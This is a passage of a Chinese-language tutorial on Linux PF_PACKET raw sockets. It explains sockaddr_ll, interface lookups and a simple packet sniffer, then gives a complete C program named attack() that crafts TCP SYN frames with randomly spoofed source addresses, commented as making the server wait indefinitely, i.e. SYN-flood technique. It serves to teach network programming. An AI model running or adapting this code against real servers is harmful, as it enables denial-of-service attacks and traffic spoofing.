ETH_P_IP 0X0800 只接收发往目的MAC是本机的IP类型的数据帧
ETH_P_ARP 0X0806 只接收发往目的MAC是本机的ARP类型的数据帧
ETH_P_RARP 0X8035 只接受发往目的MAC是本机的RARP类型的数据帧
ETH_P_ALL 0X0003 接收发往目的MAC是本机的所有类型(ip,arp,rarp)的数据帧,同时还可以接收从本机发出去的所有数据帧。在混杂模式打开的情况下,还会接收到发往目的MAC为非本地硬件地址的数据帧。

protocol字段可取的所有协议参见/usr/include/linux/if_ether.h头文件里的定义。

最后,格外需要留心一点的就是,发送数据的时候需要自己组织整个以太网数据帧。和地址相关的结构体就不能再用前面的struct sockaddr_in{}了,而是struct sockaddr_ll{},如下:

1
2
3
4
5
6
7
8
9
struct sockaddr_ll{
	unsigned short sll_family; /* 总是 AF_PACKET */
	unsigned short sll_protocol; /* 物理层的协议 */
	int sll_ifindex; /* 接口号 */
	unsigned short sll_hatype; /* 报头类型 */
	unsigned char sll_pkttype; /* 分组类型 */
	unsigned char sll_halen; /* 地址长度 */
	unsigned char sll_addr[8]; /* 物理层地址 */
};

sll_protocoll:取值在linux/if_ether.h中,可以指定我们所感兴趣的二层协议;

sll_ifindex:置为0表示处理所有接口,对于单网卡的机器就不存在“所有”的概念了。如果你有多网卡,该字段的值一般通过ioctl来搞定,模板代码如下,如果我们要获取eth0接口的序号,可以使用如下代码来获取:

1
2
3
4
5
6
struct  sockaddr_ll  sll;
struct ifreq ifr;

strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFINDEX, &ifr);
sll.sll_ifindex = ifr.ifr_ifindex;

sll_hatype:ARP硬件地址类型,定义在 linux/if_arp.h 中。 取ARPHRD_ETHER时表示为以太网。

sll_pkttype:包含分组类型。目前,有效的分组类型有:目标地址是本地主机的分组用的 PACKET_HOST,物理层广播分组用的 PACKET_BROADCAST ,发送到一个物理层多路广播地址的分组用的 PACKET_MULTICAST,在混杂(promiscuous)模式下的设备驱动器发向其他主机的分组用的 PACKET_OTHERHOST,源于本地主机的分组被环回到分组套接口用的 PACKET_OUTGOING。这些类型只对接收到的分组有意义。

sll_addr和sll_halen指示物理层(如以太网,802.3,802.4或802.5等)地址及其长度,严格依赖于具体的硬件设备。类似于获取接口索引sll_ifindex,要获取接口的物理地址,可以采用如下代码:

1
2
3
4
struct ifreq ifr;

strcpy(ifr.ifr_name, "eth0");
ioctl(sockfd, SIOCGIFHWADDR, &ifr);

缺省情况下,从任何接口收到的符合指定协议的所有数据报文都会被传送到原始PACKET套接字口,而使用bind系统调用并以一个sochddr_ll结构体对象将PACKET套接字与某个网络接口相绑定,就可使我们的PACKET原始套接字只接收指定接口的数据报文。

接下来我们简单介绍一下网卡是怎么收报的,如果你对这部分已经很了解可以跳过这部分内容。网卡从线路上收到信号流,网卡的驱动程序会去检查数据帧开始的前6个字节,即目的主机的MAC地址,如果和自己的网卡地址一致它才会接收这个帧,不符合的一般都是直接无视。然后该数据帧会被网络驱动程序分解,IP报文将通过网络协议栈,最后传送到应用程序那里。往上层传递的过程就是一个校验和“剥头”的过程,由协议栈各层去实现。

接下来我们来写个简单的抓包程序,将那些发给本机的IPv4报文全打印出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>

int main(int argc, char **argv)
{
	int sock, n;
	char buffer[2048];
	struct ethhdr *eth;
	struct iphdr *iph;

	if (0 > (sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) {
		perror("socket");
		exit(1);
	}

	while (1) {
		printf("=====================================\n");
		//注意:在这之前我没有调用bind函数,原因是什么呢?
		n = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
		printf("%d bytes read\n", n);

		//接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。
		eth = (struct ethhdr*)buffer;
		printf("Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
		printf("Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);

		iph = (struct iphdr*)(buffer + sizeof(struct ethhdr));
		//我们只对IPV4且没有选项字段的IPv4报文感兴趣
		if(iph->version == 4 && iph->ihl == 5){
			unsigned char *sd, *dd;
			sd = (unsigned char*)&iph->saddr;
			dd = (unsigned char*)&iph->daddr;
			printf("Source Host: %d.%d.%d.%d Dest host: %d.%d.%d.%d\n", sd[0], sd[1], sd[2], sd[3], dd[0], dd[1], dd[2], dd[3]);
		//    printf("Source host:%s\n", inet_ntoa(iph->saddr));
		//    printf("Dest host:%s\n", inet_ntoa(iph->daddr));
		}
	}
	return 0;
}

构造mac源地址包,注意目标mac地址要正确,可以本机先抓包看看是什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>

unsigned csum_tcpudp_nofold(unsigned saddr, unsigned daddr,
			unsigned len, unsigned proto, unsigned sum)
{
	unsigned long long s = (unsigned)sum;
	s += (unsigned)saddr;
	s += (unsigned)daddr;
	s += (proto + len) << 8;
	s += (s >> 32);
	return (unsigned)s;
}

unsigned short check_sum(unsigned short *addr, int len, unsigned sum)
{
	int nleft = len;
	unsigned short *w = addr;
	unsigned short ret = 0;
	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}
	if (nleft == 1) {
		*(unsigned char *)(&ret) = *(unsigned char *)w;
		sum += ret;
	}

	sum = (sum>>16) + (sum&0xffff);
	sum += (sum>>16);
	ret = ~sum;
	return ret;
}

int change(char c)
{
	if (c >= 'a') return c-'a'+10;
	if (c >= 'A') return c-'A'+10;
	return c-'0';
}

//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd, struct sockaddr_ll *target, char **argv)
{
	char buf[512]={0};
	struct ethhdr *eth;
	struct ip *ip;
	struct tcphdr *tcp;
	int pks_len;
	int i;
	int op_len = 12;
	unsigned short dstport;
	dstport = atoi(argv[3]);

	//在我们TCP的报文中Data没有字段,所以整个IP报文的长度
	pks_len = sizeof(struct ethhdr) + sizeof(struct ip) + sizeof(struct tcphdr) + op_len;
	eth = (struct ethhdr *) buf;
	/*
	eth->h_dest[0] = 0x00;
	eth->h_dest[1] = 0x50;
	eth->h_dest[2] = 0x56;
	eth->h_dest[3] = 0xee;
	eth->h_dest[4] = 0x14;
	eth->h_dest[5] = 0xa6;
	*/

	for (i=0;i<6;i++)
		eth->h_dest[i] = change(argv[1][i*3])*16 + change(argv[1][i*3+1]);

	/*
	eth->h_source[0] = 0x00;
	eth->h_source[1] = 0x0b;
	eth->h_source[2] = 0x28;
	eth->h_source[3] = 0xd7;
	eth->h_source[4] = 0x26;
	eth->h_source[5] = 0xa6;
	*/
	eth->h_proto = ntohs(ETH_P_IP);

	//开始填充IP首部
	ip=(struct ip*)(buf + sizeof(struct ethhdr));
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(struct ip) >> 2;
	ip->ip_tos = 0;
	ip->ip_len = htons(pks_len - sizeof(struct ethhdr));
	ip->ip_id = 0;
	ip->ip_off = 0;
	ip->ip_ttl = MAXTTL;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_sum = 0;
	ip->ip_dst.s_addr = inet_addr(argv[2]);

	//开始填充TCP首部
	srand(time(NULL));
	tcp = (struct tcphdr*)(buf + sizeof(struct ethhdr) + sizeof(struct ip));
	tcp->source = random()%50000+10000;
	tcp->dest = ntohs(dstport);
	tcp->seq = random();
	tcp->doff = (sizeof(struct tcphdr) + op_len) >> 2;
	tcp->syn = 1;
	tcp->check = 0;
	tcp->window = ntohs(14600);

	i = pks_len - op_len;
	// mss = 1460
	buf[i++] = 0x02;
	buf[i++] = 0x04;
	buf[i++] = 0x05;
	buf[i++] = 0xb4;
	// sack
	buf[i++] = 0x01;
	buf[i++] = 0x01;
	buf[i++] = 0x04;
	buf[i++] = 0x02;
	// wsscale = 7
	buf[i++] = 0x01;
	buf[i++] = 0x03;
	buf[i++] = 0x03;
	buf[i++] = 0x07;

	int T = 1;
	while(1) {
		if (T == 0) break;
		T--;
		//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
		ip->ip_src.s_addr = random();
		//自定义源地址192.168.204.136 => 0xc0a8cc88
		//ip->ip_src.s_addr = 0x8fcca8c0;
		unsigned sum = csum_tcpudp_nofold(ip->ip_src.s_addr, ip->ip_dst.s_addr, sizeof(struct tcphdr)+op_len, IPPROTO_TCP, 0);
		tcp->check = check_sum((unsigned short*)tcp, sizeof(struct tcphdr)+op_len, sum);
		ip->ip_sum = check_sum((unsigned short*)ip, sizeof(struct ip), 0);
		sendto(skfd, buf, pks_len, 0, (struct sockaddr*)target, sizeof(struct sockaddr_ll));
	}
}

int main(int argc, char** argv)
{
	int skfd;
	struct sockaddr_ll target;
	struct hostent *host;
	const int on=1;

	if (argc != 4) {
		printf("Usage:%s dstmac dstip dstport\n", argv[0]);
		exit(1);
	}
	if (strlen(argv[1]) != 17) {
		printf("Usage: dstmac must be xx:xx:xx:xx:xx:xx\n");
		exit(1);
	}

	//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
	if (0 > (skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) {
		perror("Create Error");
		exit(1);
	}

	// mac
	bzero(&target, sizeof(struct sockaddr_ll));

	struct ifreq ifr;
	strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
	ioctl(skfd, SIOCGIFINDEX, &ifr);
	target.sll_ifindex = ifr.ifr_ifindex;
	/*
	target.sll_family = AF_PACKET;
	target.sll_protocol = ntohs(80);
	target.sll_hatype = ARPHRD_ETHER;
	target.sll_pkttype = PACKET_OTHERHOST;
	target.sll_halen = ETH_ALEN;
	memset(target.sll_addr,0,8);
	target.sll_addr[0] = 0x00;
	target.sll_addr[1] = 0x0C;
	target.sll_addr[2] = 0x29;
	target.sll_addr[3] = 0x61;
	target.sll_addr[4] = 0xB6;
	target.sll_addr[5] = 0x43;
	*/


	/*
	//http://blog.chinaunix.net/uid-305141-id-2133781.html
	struct sockaddr_ll sll;
	struct ifreq ifstruct;
	memset (&sll, 0, sizeof (sll));
	sll.sll_family = PF_PACKET;
	sll.sll_protocol = htons (ETH_P_IP);

	strcpy (ifstruct.ifr_name, "eth0");
	ioctl (skfd, SIOCGIFINDEX, &ifstruct);
	sll.sll_ifindex = ifstruct.ifr_ifindex;

	strcpy (ifstruct.ifr_name, "eth0");
	ioctl (skfd, SIOCGIFHWADDR, &ifstruct);
	memcpy (sll.sll_addr, ifstruct.ifr_ifru.ifru_hwaddr.sa_data, ETH_ALEN);
	sll.sll_halen = ETH_ALEN;

	if (bind (skfd, (struct sockaddr *) &sll, sizeof (sll)) == -1) {
		printf ("bind:   ERROR\n");
		return -1;
	}

	memset(&ifstruct, 0, sizeof(ifstruct));
	strcpy (ifstruct.ifr_name, "eth0");
	if (ioctl (skfd, SIOCGIFFLAGS, &ifstruct) == -1) {
		perror ("iotcl()\n");
		printf ("Fun:%s Line:%d\n", __func__, __LINE__);
		return -1;
	}

	ifstruct.ifr_flags |= IFF_PROMISC;

	if(ioctl(skfd, SIOCSIFFLAGS, &ifstruct) == -1) {
		perror("iotcl()\n");
		printf ("Fun:%s Line:%d\n", __func__, __LINE__);
		return -1;
	} 
*/
	//因为只有root用户才可以play with raw socket :)
	setuid(getpid());
//    attack(skfd, &sll, srcport);
	attack(skfd, &target, argv);
}